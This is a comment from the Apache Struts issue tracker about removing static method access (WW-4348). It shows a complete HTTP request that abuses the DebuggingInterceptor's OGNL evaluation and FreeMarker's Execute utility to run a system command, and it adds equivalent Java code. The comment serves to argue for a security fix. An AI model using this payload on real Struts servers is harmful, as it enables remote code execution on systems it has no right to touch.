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https://issues.apache.org/jira/browse/WW-4348?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=15809959#comment-15809959
 ] 

Markus Wulftange commented on WW-4348:
--------------------------------------

No, this can be specified where ever OGNL expressions are evaluated. For 
example, [via the 
DebuggingInterceptor|http://www.pwntester.com/blog/2014/01/21/struts-2-devmode-an-ognl-backdoor/]:

{noformat}
POST /blank-1.0.0/example/HelloWorld.action HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: application/x-www-form-urlencoded
Content-Length: 670

debug=command&expression=%23application["freemarker.Configuration"]["objectWrapper"].newInstance(
        
%23context["com.opensymphony.xwork2.dispatcher.ServletContext"].classLoader.loadClass("freemarker.template.Template"),
        {
                
%23application["freemarker.Configuration"]["objectWrapper"].wrap(""),
                
%23application["freemarker.Configuration"]["objectWrapper"].wrap("<%23assign+ex%3d\"freemarker.template.utility.Execute\"%3fnew()>${ex(\"xterm\")}"),
                
%23application["freemarker.Configuration"]["objectWrapper"].wrap(%23application["freemarker.Configuration"])
        }
).process(
        null,
        
%23context["com.opensymphony.xwork2.dispatcher.HttpServletResponse"].getWriter()
)
{noformat}

By the way, the given OGNL expression is equivalent to the following standalone 
code:

{noformat}
new Template(
        "",
        "<#assign 
ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"xterm\")}",
        Configuration.getDefaultConfiguration()
).process(
        null,
        new PrintWriter(System.out)
);
{noformat}

> Remove access to static methods
> -------------------------------
>
>                 Key: WW-4348
>                 URL: https://issues.apache.org/jira/browse/WW-4348
>             Project: Struts 2
>          Issue Type: Improvement
>          Components: Core Actions
>    Affects Versions: 2.3.16.3
>            Reporter: Lukasz Lenart
>            Priority: Critical
>             Fix For: 2.5.x
>
>




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